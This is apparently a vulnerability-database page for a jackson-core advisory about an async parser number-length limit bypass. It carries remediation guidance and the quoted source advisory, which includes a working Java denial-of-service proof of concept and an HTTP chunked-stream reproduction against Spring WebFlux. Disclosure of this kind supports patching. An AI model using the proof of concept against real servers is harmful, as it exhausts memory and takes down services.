Vulnerabilities in pkg:maven/com.fasterxml.jackson.core/jackson-core

PACKAGE
Advisory Identifier: GHSA-r7wm-3cxj-wff9
Advisory Summary

CVE-2026-68494 is a HIGH async parser maxnumberlength bypass vulnerability (CWE-770: Allocation of Resources Without Limits or Throttling) affecting jackson-core libraries in the Maven ecosystem. The issue involves async parser maxnumberlength bypass via chunked digit accumulation (incomplete fix for ghsa-72hv-8253-57qq). Remediation is available by upgrading affected packages to version 2.18.8, 2.21.4, 3.1.4.

6 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:maven/com.fasterxml.jackson.core/jackson-core

6 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:maven/com.fasterxml.jackson.core/jackson-core. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-r7wm-3cxj-wff9 CVE-2026-68494 HIGH jackson-core: Async parser maxNumberLength bypass via chunked digit accumulation (incomplete fix for GHSA-72hv-8253-57qq)
GHSA-7hhh-6rmp-j9qf CVE-2026-89425 HIGH jackson-core: UTF8DataInputJsonParser._reportInvalidToken() missing maxErrorTokenLength limit -> unbounded StringBuilder growth (DoS)
GHSA-p6pp-m3f8-5c89 CVE-2026-89407 HIGH jackson-core: ReDoS: quadratic backtracking in NumberInput.PATTERN_FLOAT via looksLikeValidNumber()
GHSA-72hv-8253-57qq CVE-2026-18401 MODERATE jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition
GHSA-h46c-h94j-95f3 CVE-2025-52999 HIGH jackson-core can throw a StackoverflowError when processing deeply nested data
GHSA-wf8f-6423-gfxg CVE-2025-49128 MODERATE Jackson-core Vulnerable to Memory Disclosure via Source Snippet in JsonLocation

CVE-2026-68494 at a Glance

CVE Identifier CVE-2026-68494
GHSA Identifier GHSA-r7wm-3cxj-wff9
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-770: Allocation of Resources Without Limits or Throttling
Affected Product jackson-core
Package Ecosystem Maven
Published Date
Last Updated

How to Fix CVE-2026-68494

To remediate this vulnerability, upgrade all affected jackson-core dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

com.fasterxml.jackson.core:jackson-core fixed: 2.18.8
<dependency>
    <groupId>com.fasterxml.jackson.core</groupId>
    <artifactId>jackson-core</artifactId>
    <version>2.18.8</version>
</dependency>
com.fasterxml.jackson.core:jackson-core fixed: 2.21.4
<dependency>
    <groupId>com.fasterxml.jackson.core</groupId>
    <artifactId>jackson-core</artifactId>
    <version>2.21.4</version>
</dependency>
tools.jackson.core:jackson-core fixed: 3.1.4
<dependency>
    <groupId>tools.jackson.core</groupId>
    <artifactId>jackson-core</artifactId>
    <version>3.1.4</version>
</dependency>
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

mvn dependency:tree -Dincludes=com.fasterxml.jackson.core

How to Check if You Are Affected

To determine whether your Java application is affected by CVE-2026-68494, inspect your build dependencies using the Maven Dependency Plugin:

mvn dependency:tree -Dincludes=com.fasterxml.jackson.core

Analyze the terminal output to locate any version of jackson-core in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.18.8), your application is affected.

Note: The mvn dependency:tree -Dincludes=com.fasterxml.jackson.core command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-770: Allocation of Resources Without Limits or Throttling, where the product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. In jackson-core, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The fix released in jackson-core `2.18.6` and `2.21.1` for [GHSA-72hv-8253-57qq](https://github.com/FasterXML/jackson-core/security/advisories/GHSA-72hv-8253-57qq) (Number Length Constraint Bypass in Async Parser, published 2026-02-28) is incomplete. The fix commit `b0c428e6` (#1555) wired `validateIntegerLength` into a new `_setIntLength` helper and called it at every place where the integer portion of a number is *decided* (terminator byte arrived, `.` / `e/E` seen, end-of-feed inside a fully-buffered value). It did not call it on the much more attacker-relevant path: "ran out of input while still inside `MINOR_NUMBER_INTEGER_DIGITS`, return `NOT_AVAILABLE` to caller". As a result, an attacker who streams JSON to a non-blocking parser in many small chunks, without ever sending a terminator byte, can keep the parser inside `MINOR_NUMBER_INTEGER_DIGITS` indefinitely. `_textBuffer.expandCurrentSegment()` grows on every chunk, and `validateIntegerLength` is never invoked. The accumulator is only gated by `maxStringLength` (20 MiB default) — a **~20,000x amplification** of the documented `maxNumberLength` (1000 default). This is the same vulnerability class, same advisory wording ("Memory Exhaustion: Unbounded allocation in TextBuffer from excessively long numbers"), same parser class — just the streaming path the original fix didn't cover. The fix to the *fraction* path is correct (see `_finishFloatFraction` at line 1834-1837 of `NonBlockingUtf8JsonParserBase.java` in 2.18.6, where `_setFractLength(fractLen)` IS called before the `NOT_AVAILABLE` return); the equivalent call is missing from every integer-digit path. ## Affected versions Verified on the patched releases: - `com.fasterxml.jackson.core:jackson-core` **2.18.6** - `com.fasterxml.jackson.core:jackson-core` **2.21.1** Structurally identical code in `tools.jackson.core` 3.0.x / 3.1.x — same `NonBlockingUtf8JsonParserBase` class, same `_setIntLength` rollout, same NOT_AVAILABLE returns without validation. Not retested but presumed vulnerable. ## Affected code [`src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java`](https://github.com/FasterXML/jackson-core/blob/b0c428e6/src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java) in 2.18.6 / 2.21.1. ### Site 1 — `_startPositiveNumber(int ch)` lines 1320-1330: ```java if (outPtr >= outBuf.length) { // NOTE: must expand to ensure contents all in a single buffer (to keep // other parts of parsing simpler) outBuf = _textBuffer.expandCurrentSegment(); } outBuf[outPtr++] = (char) ch; if (++_inputPtr >= _inputEnd) { _minorState = MINOR_NUMBER_INTEGER_DIGITS; _textBuffer.setCurrentLength(outPtr); return _updateTokenToNA(); // <-- no validateIntegerLength(outPtr) } ``` ### Site 2 — `_finishNumberIntegralPart` lines 1691-1727: ```java protected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException { int negMod = _numberNegative ? -1 : 0; while (true) { if (_inputPtr >= _inputEnd) { _minorState = MINOR_NUMBER_INTEGER_DIGITS; _textBuffer.setCurrentLength(outPtr); return _updateTokenToNA(); // <-- no validateIntegerLength(outPtr + negMod) } int ch = getByteFromBuffer(_inputPtr) & 0xFF; if (ch < INT_0) { if (ch == INT_PERIOD) { _setIntLength(outPtr+negMod); // <-- validated here ++_inputPtr; return _startFloat(outBuf, outPtr, ch); } break; } if (ch > INT_9) { if ((ch | 0x20) == INT_e) { _setIntLength(outPtr+negMod); // <-- validated here ++_inputPtr; return _startFloat(outBuf, outPtr, ch); } break; } ++_inputPtr; if (outPtr >= outBuf.length) { outBuf = _textBuffer.expandCurrentSegment(); } outBuf[outPtr++] = (char) ch; } _setIntLength(outPtr+negMod); // <-- validated here _textBuffer.setCurrentLength(outPtr); return _valueComplete(JsonToken.VALUE_NUMBER_INT); } ``` The pattern recurs at lines 1297, 1329, 1343, 1365, 1395, 1409, 1437, 1467, 1481, 1586, 1644, 1698 — every "ran out of input mid-integer" exit returns to the caller without validating the accumulator length. ### Compare with the fraction path that is correct `_finishFloatFraction` lines 1827-1838: ```java while (loop) { if (ch >= INT_0 && ch <= INT_9) { ++fractLen; if (outPtr >= outBuf.length) { outBuf = _textBuffer.expandCurrentSegment(); } outBuf[outPtr++] = (char) ch; if (_inputPtr >= _inputEnd) { _textBuffer.setCurrentLength(outPtr); _setFractLength(fractLen); // <-- VALIDATED return JsonToken.NOT_AVAILABLE; } ch = getNextSignedByteFromBuffer(); } ... } ``` ## Impact Reactive frameworks (Spring WebFlux / Reactor, Quarkus, Helidon, Vert.x JSON, anything wrapping `JsonFactory.createNonBlockingByteArrayParser()` or `createNonBlockingByteBufferParser()`) feed inbound HTTP/gRPC bytes to the async parser as they arrive. Operators who set `StreamReadConstraints.builder().maxNumberLength(N)` on the assumption that this caps memory per number value are not getting that guarantee in chunked-feed scenarios. The parser silently accumulates digits up to `maxStringLength` (20 MiB default) per concurrent connection. Multiply by attacker-controlled concurrency to OOM the JVM. The synchronous parsers (`UTF8StreamJsonParser`, `ReaderBasedJsonParser`) and the async parser on *complete* input are not affected — those paths go through `_setIntLength` or `ParserBase._reportTooLongIntegral` correctly. CWE-770 (Allocation of Resources Without Limits or Throttling), CVSS roughly the same as the parent advisory (Network / Low complexity / High availability impact). The parent advisory was scored CVSS 8.7 High. ## Proof of concept Standalone PoC, no Maven required: ``` mkdir poc && cd poc curl -sLo jackson-core-2.18.6.jar https://repo1.maven.org/maven2/com/fasterxml/jackson/core/jackson-core/2.18.6/jackson-core-2.18.6.jar cat > PoC.java <<'EOF' import com.fasterxml.jackson.core.*; import com.fasterxml.jackson.core.async.ByteArrayFeeder; public class PoC { public static void main(String[] args) throws Exception { StreamReadConstraints strict = StreamReadConstraints.builder() .maxNumberLength(1000) .build(); JsonFactory f = new JsonFactoryBuilder() .streamReadConstraints(strict) .build(); // Sanity: synchronous parser rejects 5000-digit int. try (JsonParser p = f.createParser("{\"v\":" + "1".repeat(5000) + "}")) { while (p.nextToken() != null) { /* drive */ } System.out.println("[-] BUG ABSENT: sync parser accepted"); return; } catch (Exception e) { System.out.println("[+] sync parser rejected 5000-digit int: " + e.getClass().getSimpleName()); } // Bug: async parser, chunked, no terminator. JsonParser ap = f.createNonBlockingByteArrayParser(); ByteArrayFeeder feeder = (ByteArrayFeeder) ap; byte[] preamble = "{\"v\":".getBytes("UTF-8"); feeder.feedInput(preamble, 0, preamble.length); while (ap.nextToken() != JsonToken.NOT_AVAILABLE) { /* drain */ } byte[] digits = new byte[16 * 1024]; for (int i = 0; i < digits.length; i++) digits[i] = (byte) ('1' + (i % 9)); for (int c = 0; c < 600; c++) { feeder.feedInput(digits, 0, digits.length); JsonToken t = ap.nextToken(); if (t != JsonToken.NOT_AVAILABLE) { System.out.println("[-] unexpected token: " + t); return; } } System.out.println("[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000"); // Closing the number now finally triggers the validator. feeder.feedInput("}".getBytes("UTF-8"), 0, 1); feeder.endOfInput(); try { while (ap.nextToken() != null) { /* drive */ } } catch (Exception e) { System.out.println("[*] late rejection on close: " + e.getMessage().split("\n")[0]); } ap.close(); } } EOF javac -cp jackson-core-2.18.6.jar PoC.java java -Xmx256m -cp jackson-core-2.18.6.jar:. PoC ``` Observed output against `jackson-core-2.18.6`: ``` [+] sync parser rejected 5000-digit int: StreamConstraintsException [+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000 [*] late rejection on close: Number value length (9830400) exceeds the maximum allowed (1000, from `StreamReadConstraints.getMaxNumberLength()`) ``` Observed output against `jackson-core-2.21.1`: identical. The 9.83 MB figure is purely a function of the loop bound (600 chunks * 16 KiB). The actual ceiling is `maxStringLength = 20 MiB`. With the strict policy declared as `maxNumberLength = 1000`, the parser permits **9830x** more allocation than the policy allows. With `maxStringLength` left at the default 20 MiB, an attacker can drive a single connection to 40 MiB of `char[]` heap (chars are 2 bytes each) before the validator finally fires on terminator/`endOfInput()`. Multiply by concurrent connections. ## End-to-end reproduction through real HTTP Supplements the standalone PoC with a running Spring Boot WebFlux server, driving the same bug through the actual reactor-netty + Jackson2JsonDecoder streaming-decode path that production reactive endpoints use. Setup: - Spring Boot 3.3.5 starter-webflux (spring-webflux 6.1.14, reactor-netty 1.1.23) - jackson-databind 2.17.2, jackson-core overridden: - VULN run: `com.fasterxml.jackson.core:jackson-core:2.18.7` (latest published) - PATCHED run: `2.18.8-SNAPSHOT` built from the fix branch - JVM: OpenJDK 17.0.18 - Server `JsonFactory` configured with `StreamReadConstraints.builder().maxNumberLength(1000).build()` Endpoint under test exposes the `Flux<DataBuffer>` request body directly to `Jackson2JsonDecoder.decode(Flux, ResolvableType, ...)` so the parser sees one HTTP chunk per `feedInput` (the same pattern used for any `@RequestBody Flux<...>` / streaming JSON decoder in WebFlux). A raw-socket HTTP/1.1 chunked client streams `{"v":1` then 250 chunks of 200 digit bytes each (50,000 digits total) at 20ms intervals, then writes the closing `}`. VULN — jackson-core 2.18.7: ``` [VULN-SMALLCHUNK] streamed 50000 digits across 250 chunks; server still accepting [VULN-SMALLCHUNK] full POST sent (50000 digits). Response: HTTP/1.1 200 OK ERR after 6548ms cause=com.fasterxml.jackson.core.exc.StreamConstraintsException: Number value length (50000) exceeds the maximum allowed (1000, ...) ``` Server-side controller trace (250 DataBuffer arrivals elided): ``` [ctrl] DataBuffer arrived size=6 ms=39 <- '{"v":1' [ctrl] DataBuffer arrived size=200 ms=42 ... [ctrl] DataBuffer arrived size=199 ms=5993 [ctrl] DataBuffer arrived size=1 ms=6518 <- closing '}' [ctrl] ERR after 6548ms ... Number value length (50000) exceeds ... ``` Server held all 50,000 digit characters in `_textBuffer` for 6.5 seconds with `maxNumberLength=1000` declared. The validator never fires during streaming; it only fires at value-completion when the closing `}` arrives. PATCHED — jackson-core 2.18.8-SNAPSHOT (fix branch): ``` [PATCHED-SMALLCHUNK] connection broke after 2801 digits at chunk 14: [Errno 32] Broken pipe [PATCHED-SMALLCHUNK] DONE: digits_sent=2801 status=connection-broke-mid-stream ``` Server-side controller trace: ``` [ctrl] DataBuffer arrived size=6 ms=129 [ctrl] DataBuffer arrived size=200 ms=142 [ctrl] DataBuffer arrived size=200 ms=142 [ctrl] DataBuffer arrived size=200 ms=145 [ctrl] DataBuffer arrived size=200 ms=146 [ctrl] DataBuffer arrived size=200 ms=147 [ctrl] ERR after 155ms ... Number value length (1001) exceeds the maximum allowed (1000, ...) ``` Patched server raises `StreamConstraintsException` at 155ms after only 5 DataBuffers, exactly when the accumulated digit count crosses `maxNumberLength=1000`. The connection is reset mid-stream rather than the parser silently consuming the rest of the attacker's payload. Side-by-side: | Build | Chunks accepted before exception | Digits buffered | Time to detection | |---|---|---|---| | jackson-core 2.18.7 | 250 (full payload) | 50,000 (50x the configured limit) | 6,548ms — only at terminator | | 2.18.8-SNAPSHOT (fix branch) | 5 | 1,001 | 155ms — moment threshold crossed | Note on the default `@RequestBody Mono<JsonNode>` path: that path cannot distinguish the two builds because Spring's `decodeToMono` joins all DataBuffers into one before parsing. The exploitable shape is the streaming-decode path (`Flux<JsonNode>` / `@RequestBody Flux<...>` / WebSocket / SSE / any direct `decoder.decode(Flux<DataBuffer>, ...)` call), which is also what `Jackson2Tokenizer` uses for any streaming JSON deserialization in WebFlux and Quarkus reactive REST. ## Suggested fix Mirror the pattern already used in `_finishFloatFraction`. At every site that returns `_updateTokenToNA()` (or `JsonToken.NOT_AVAILABLE`) with `_minorState = MINOR_NUMBER_INTEGER_DIGITS`, call `_setIntLength(outPtr + negMod)` first. Concretely, the diff to `NonBlockingUtf8JsonParserBase.java` would be: ```diff protected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException { int negMod = _numberNegative ? -1 : 0; while (true) { if (_inputPtr >= _inputEnd) { _minorState = MINOR_NUMBER_INTEGER_DIGITS; _textBuffer.setCurrentLength(outPtr); + _streamReadConstraints.validateIntegerLength(outPtr + negMod); return _updateTokenToNA(); } ``` Note: `_setIntLength` itself can't be used as-is because it also assigns `_intLength`, and `_intLength` must not be set until the integer is truly complete (subsequent fraction handling reads `_intLength`). The minimal fix is to call only the validator, as shown. Apply the same one-line insertion before each `return _updateTokenToNA();` that exits with `_minorState = MINOR_NUMBER_INTEGER_DIGITS`. The sites are listed above (12 lines total). Alternatively, a heavier refactor: also gate `_textBuffer.expandCurrentSegment()` calls inside the digit-accumulation loops on `outPtr < maxNumberLength` so that the validator fires at the moment the buffer would be enlarged past the limit, rather than waiting for the next chunk boundary. Either approach is sufficient. ## Credit Reported by `tonghuaroot` (`tonghuaroot@gmail.com`). Variant hunt against the Feb 2026 fix for GHSA-72hv-8253-57qq.

CVE-2026-68494 Affected jackson-core Versions

3 component(s)
Fixed Versions:
2.18.82.21.43.1.4
Product / Package Ecosystem Affected Versions Fixed Version
com.fasterxml.jackson.core:jackson-core
Maven
< 2.18.8
2.18.8
com.fasterxml.jackson.core:jackson-core
Maven
≥ 2.19.0
< 2.21.4
2.21.4
tools.jackson.core:jackson-core
Maven
≥ 3.0.0
< 3.1.4
3.1.4

References

Frequently Asked Questions

What is CVE-2026-68494?
CVE-2026-68494 is a security vulnerability in jackson-core involving Async parser maxNumberLength bypass via chunked digit accumulation (incomplete fix for GHSA-72hv-8253-57qq) under CWE-770: Allocation of Resources Without Limits or Throttling.
Which jackson-core versions are affected?
Affected versions include releases prior to 2.18.8, 2.21.4, 3.1.4 across affected packages: com.fasterxml.jackson.core:jackson-core, tools.jackson.core:jackson-core.
What version fixes CVE-2026-68494?
Upgrading to 2.18.8, 2.21.4, 3.1.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is jackson-core affected?
Yes, com.fasterxml.jackson.core:jackson-core is affected in releases prior to 2.18.8, 2.21.4, 3.1.4. Upgrade your dependency to 2.18.8, 2.21.4, 3.1.4 or later.
What CWE is associated with CVE-2026-68494?
CVE-2026-68494 is classified under CWE-770: Allocation of Resources Without Limits or Throttling (The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.).
How can I check Maven dependencies for CVE-2026-68494?
Run the dependency tree command: 'mvn dependency:tree -Dincludes=com.fasterxml.jackson.core'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-r7wm-3cxj-wff9",
  "modified" : "2026-10-02T23:08:41Z",
  "published" : "2026-07-21T21:58:53Z",
  "aliases" : [ "CVE-2026-68494" ],
  "summary" : "jackson-core: Async parser maxNumberLength bypass via chunked digit accumulation (incomplete fix for GHSA-72hv-8253-57qq)",
  "details" : "## Summary\n\nThe fix released in jackson-core `2.18.6` and `2.21.1` for [GHSA-72hv-8253-57qq](https://github.com/FasterXML/jackson-core/security/advisories/GHSA-72hv-8253-57qq) (Number Length Constraint Bypass in Async Parser, published 2026-02-28) is incomplete. The fix commit `b0c428e6` (#1555) wired `validateIntegerLength` into a new `_setIntLength` helper and called it at every place where the integer portion of a number is *decided* (terminator byte arrived, `.` / `e/E` seen, end-of-feed inside a fully-buffered value). It did not call it on the much more attacker-relevant path: \"ran out of input while still inside `MINOR_NUMBER_INTEGER_DIGITS`, return `NOT_AVAILABLE` to caller\".\n\nAs a result, an attacker who streams JSON to a non-blocking parser in many small chunks, without ever sending a terminator byte, can keep the parser inside `MINOR_NUMBER_INTEGER_DIGITS` indefinitely. `_textBuffer.expandCurrentSegment()` grows on every chunk, and `validateIntegerLength` is never invoked. The accumulator is only gated by `maxStringLength` (20 MiB default) — a **~20,000x amplification** of the documented `maxNumberLength` (1000 default).\n\nThis is the same vulnerability class, same advisory wording (\"Memory Exhaustion: Unbounded allocation in TextBuffer from excessively long numbers\"), same parser class — just the streaming path the original fix didn't cover. The fix to the *fraction* path is correct (see `_finishFloatFraction` at line 1834-1837 of `NonBlockingUtf8JsonParserBase.java` in 2.18.6, where `_setFractLength(fractLen)` IS called before the `NOT_AVAILABLE` return); the equivalent call is missing from every integer-digit path.\n\n## Affected versions\n\nVerified on the patched releases:\n- `com.fasterxml.jackson.core:jackson-core` **2.18.6**\n- `com.fasterxml.jackson.core:jackson-core` **2.21.1**\n\nStructurally identical code in `tools.jackson.core` 3.0.x / 3.1.x — same `NonBlockingUtf8JsonParserBase` class, same `_setIntLength` rollout, same NOT_AVAILABLE returns without validation. Not retested but presumed vulnerable.\n\n## Affected code\n\n[`src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java`](https://github.com/FasterXML/jackson-core/blob/b0c428e6/src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java) in 2.18.6 / 2.21.1.\n\n### Site 1 — `_startPositiveNumber(int ch)` lines 1320-1330:\n\n```java\nif (outPtr >= outBuf.length) {\n    // NOTE: must expand to ensure contents all in a single buffer (to keep\n    // other parts of parsing simpler)\n    outBuf = _textBuffer.expandCurrentSegment();\n}\noutBuf[outPtr++] = (char) ch;\nif (++_inputPtr >= _inputEnd) {\n    _minorState = MINOR_NUMBER_INTEGER_DIGITS;\n    _textBuffer.setCurrentLength(outPtr);\n    return _updateTokenToNA();          // <-- no validateIntegerLength(outPtr)\n}\n```\n\n### Site 2 — `_finishNumberIntegralPart` lines 1691-1727:\n\n```java\nprotected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {\n    int negMod = _numberNegative ? -1 : 0;\n\n    while (true) {\n        if (_inputPtr >= _inputEnd) {\n            _minorState = MINOR_NUMBER_INTEGER_DIGITS;\n            _textBuffer.setCurrentLength(outPtr);\n            return _updateTokenToNA();    // <-- no validateIntegerLength(outPtr + negMod)\n        }\n        int ch = getByteFromBuffer(_inputPtr) & 0xFF;\n        if (ch < INT_0) {\n            if (ch == INT_PERIOD) {\n                _setIntLength(outPtr+negMod);   // <-- validated here\n                ++_inputPtr;\n                return _startFloat(outBuf, outPtr, ch);\n            }\n            break;\n        }\n        if (ch > INT_9) {\n            if ((ch | 0x20) == INT_e) {\n                _setIntLength(outPtr+negMod);   // <-- validated here\n                ++_inputPtr;\n                return _startFloat(outBuf, outPtr, ch);\n            }\n            break;\n        }\n        ++_inputPtr;\n        if (outPtr >= outBuf.length) {\n            outBuf = _textBuffer.expandCurrentSegment();\n        }\n        outBuf[outPtr++] = (char) ch;\n    }\n    _setIntLength(outPtr+negMod);            // <-- validated here\n    _textBuffer.setCurrentLength(outPtr);\n    return _valueComplete(JsonToken.VALUE_NUMBER_INT);\n}\n```\n\nThe pattern recurs at lines 1297, 1329, 1343, 1365, 1395, 1409, 1437, 1467, 1481, 1586, 1644, 1698 — every \"ran out of input mid-integer\" exit returns to the caller without validating the accumulator length.\n\n### Compare with the fraction path that is correct\n\n`_finishFloatFraction` lines 1827-1838:\n\n```java\nwhile (loop) {\n    if (ch >= INT_0 && ch <= INT_9) {\n        ++fractLen;\n        if (outPtr >= outBuf.length) {\n            outBuf = _textBuffer.expandCurrentSegment();\n        }\n        outBuf[outPtr++] = (char) ch;\n        if (_inputPtr >= _inputEnd) {\n            _textBuffer.setCurrentLength(outPtr);\n            _setFractLength(fractLen);          // <-- VALIDATED\n            return JsonToken.NOT_AVAILABLE;\n        }\n        ch = getNextSignedByteFromBuffer();\n    }\n    ...\n}\n```\n\n## Impact\n\nReactive frameworks (Spring WebFlux / Reactor, Quarkus, Helidon, Vert.x JSON, anything wrapping `JsonFactory.createNonBlockingByteArrayParser()` or `createNonBlockingByteBufferParser()`) feed inbound HTTP/gRPC bytes to the async parser as they arrive. Operators who set `StreamReadConstraints.builder().maxNumberLength(N)` on the assumption that this caps memory per number value are not getting that guarantee in chunked-feed scenarios. The parser silently accumulates digits up to `maxStringLength` (20 MiB default) per concurrent connection. Multiply by attacker-controlled concurrency to OOM the JVM.\n\nThe synchronous parsers (`UTF8StreamJsonParser`, `ReaderBasedJsonParser`) and the async parser on *complete* input are not affected — those paths go through `_setIntLength` or `ParserBase._reportTooLongIntegral` correctly.\n\nCWE-770 (Allocation of Resources Without Limits or Throttling), CVSS roughly the same as the parent advisory (Network / Low complexity / High availability impact). The parent advisory was scored CVSS 8.7 High.\n\n## Proof of concept\n\nStandalone PoC, no Maven required:\n\n```\nmkdir poc && cd poc\ncurl -sLo jackson-core-2.18.6.jar https://repo1.maven.org/maven2/com/fasterxml/jackson/core/jackson-core/2.18.6/jackson-core-2.18.6.jar\ncat > PoC.java <<'EOF'\nimport com.fasterxml.jackson.core.*;\nimport com.fasterxml.jackson.core.async.ByteArrayFeeder;\n\npublic class PoC {\n    public static void main(String[] args) throws Exception {\n        StreamReadConstraints strict = StreamReadConstraints.builder()\n                .maxNumberLength(1000)\n                .build();\n        JsonFactory f = new JsonFactoryBuilder()\n                .streamReadConstraints(strict)\n                .build();\n\n        // Sanity: synchronous parser rejects 5000-digit int.\n        try (JsonParser p = f.createParser(\"{\\\"v\\\":\" + \"1\".repeat(5000) + \"}\")) {\n            while (p.nextToken() != null) { /* drive */ }\n            System.out.println(\"[-] BUG ABSENT: sync parser accepted\");\n            return;\n        } catch (Exception e) {\n            System.out.println(\"[+] sync parser rejected 5000-digit int: \" + e.getClass().getSimpleName());\n        }\n\n        // Bug: async parser, chunked, no terminator.\n        JsonParser ap = f.createNonBlockingByteArrayParser();\n        ByteArrayFeeder feeder = (ByteArrayFeeder) ap;\n\n        byte[] preamble = \"{\\\"v\\\":\".getBytes(\"UTF-8\");\n        feeder.feedInput(preamble, 0, preamble.length);\n        while (ap.nextToken() != JsonToken.NOT_AVAILABLE) { /* drain */ }\n\n        byte[] digits = new byte[16 * 1024];\n        for (int i = 0; i < digits.length; i++) digits[i] = (byte) ('1' + (i % 9));\n\n        for (int c = 0; c < 600; c++) {\n            feeder.feedInput(digits, 0, digits.length);\n            JsonToken t = ap.nextToken();\n            if (t != JsonToken.NOT_AVAILABLE) {\n                System.out.println(\"[-] unexpected token: \" + t);\n                return;\n            }\n        }\n        System.out.println(\"[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000\");\n\n        // Closing the number now finally triggers the validator.\n        feeder.feedInput(\"}\".getBytes(\"UTF-8\"), 0, 1);\n        feeder.endOfInput();\n        try {\n            while (ap.nextToken() != null) { /* drive */ }\n        } catch (Exception e) {\n            System.out.println(\"[*] late rejection on close: \" + e.getMessage().split(\"\\n\")[0]);\n        }\n        ap.close();\n    }\n}\nEOF\njavac -cp jackson-core-2.18.6.jar PoC.java\njava -Xmx256m -cp jackson-core-2.18.6.jar:. PoC\n```\n\nObserved output against `jackson-core-2.18.6`:\n\n```\n[+] sync parser rejected 5000-digit int: StreamConstraintsException\n[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000\n[*] late rejection on close: Number value length (9830400) exceeds the maximum allowed (1000, from `StreamReadConstraints.getMaxNumberLength()`)\n```\n\nObserved output against `jackson-core-2.21.1`: identical.\n\nThe 9.83 MB figure is purely a function of the loop bound (600 chunks * 16 KiB). The actual ceiling is `maxStringLength = 20 MiB`. With the strict policy declared as `maxNumberLength = 1000`, the parser permits **9830x** more allocation than the policy allows. With `maxStringLength` left at the default 20 MiB, an attacker can drive a single connection to 40 MiB of `char[]` heap (chars are 2 bytes each) before the validator finally fires on terminator/`endOfInput()`. Multiply by concurrent connections.\n\n## End-to-end reproduction through real HTTP\n\nSupplements the standalone PoC with a running Spring Boot WebFlux server,\ndriving the same bug through the actual reactor-netty + Jackson2JsonDecoder\nstreaming-decode path that production reactive endpoints use.\n\nSetup:\n- Spring Boot 3.3.5 starter-webflux (spring-webflux 6.1.14, reactor-netty 1.1.23)\n- jackson-databind 2.17.2, jackson-core overridden:\n  - VULN run: `com.fasterxml.jackson.core:jackson-core:2.18.7` (latest published)\n  - PATCHED run: `2.18.8-SNAPSHOT` built from the fix branch\n- JVM: OpenJDK 17.0.18\n- Server `JsonFactory` configured with `StreamReadConstraints.builder().maxNumberLength(1000).build()`\n\nEndpoint under test exposes the `Flux<DataBuffer>` request body directly to\n`Jackson2JsonDecoder.decode(Flux, ResolvableType, ...)` so the parser sees one\nHTTP chunk per `feedInput` (the same pattern used for any\n`@RequestBody Flux<...>` / streaming JSON decoder in WebFlux). A raw-socket\nHTTP/1.1 chunked client streams `{\"v\":1` then 250 chunks of 200 digit bytes\neach (50,000 digits total) at 20ms intervals, then writes the closing `}`.\n\nVULN — jackson-core 2.18.7:\n```\n[VULN-SMALLCHUNK] streamed 50000 digits across 250 chunks; server still accepting\n[VULN-SMALLCHUNK] full POST sent (50000 digits). Response:\nHTTP/1.1 200 OK\nERR after 6548ms cause=com.fasterxml.jackson.core.exc.StreamConstraintsException:\n       Number value length (50000) exceeds the maximum allowed (1000, ...)\n```\nServer-side controller trace (250 DataBuffer arrivals elided):\n```\n[ctrl] DataBuffer arrived size=6   ms=39       <- '{\"v\":1'\n[ctrl] DataBuffer arrived size=200 ms=42\n...\n[ctrl] DataBuffer arrived size=199 ms=5993\n[ctrl] DataBuffer arrived size=1   ms=6518     <- closing '}'\n[ctrl] ERR after 6548ms ... Number value length (50000) exceeds ...\n```\nServer held all 50,000 digit characters in `_textBuffer` for 6.5 seconds with\n`maxNumberLength=1000` declared. The validator never fires during streaming;\nit only fires at value-completion when the closing `}` arrives.\n\nPATCHED — jackson-core 2.18.8-SNAPSHOT (fix branch):\n```\n[PATCHED-SMALLCHUNK] connection broke after 2801 digits at chunk 14: [Errno 32] Broken pipe\n[PATCHED-SMALLCHUNK] DONE: digits_sent=2801 status=connection-broke-mid-stream\n```\nServer-side controller trace:\n```\n[ctrl] DataBuffer arrived size=6   ms=129\n[ctrl] DataBuffer arrived size=200 ms=142\n[ctrl] DataBuffer arrived size=200 ms=142\n[ctrl] DataBuffer arrived size=200 ms=145\n[ctrl] DataBuffer arrived size=200 ms=146\n[ctrl] DataBuffer arrived size=200 ms=147\n[ctrl] ERR after 155ms ... Number value length (1001) exceeds the maximum allowed (1000, ...)\n```\nPatched server raises `StreamConstraintsException` at 155ms after only 5\nDataBuffers, exactly when the accumulated digit count crosses\n`maxNumberLength=1000`. The connection is reset mid-stream rather than the\nparser silently consuming the rest of the attacker's payload.\n\nSide-by-side:\n\n| Build | Chunks accepted before exception | Digits buffered | Time to detection 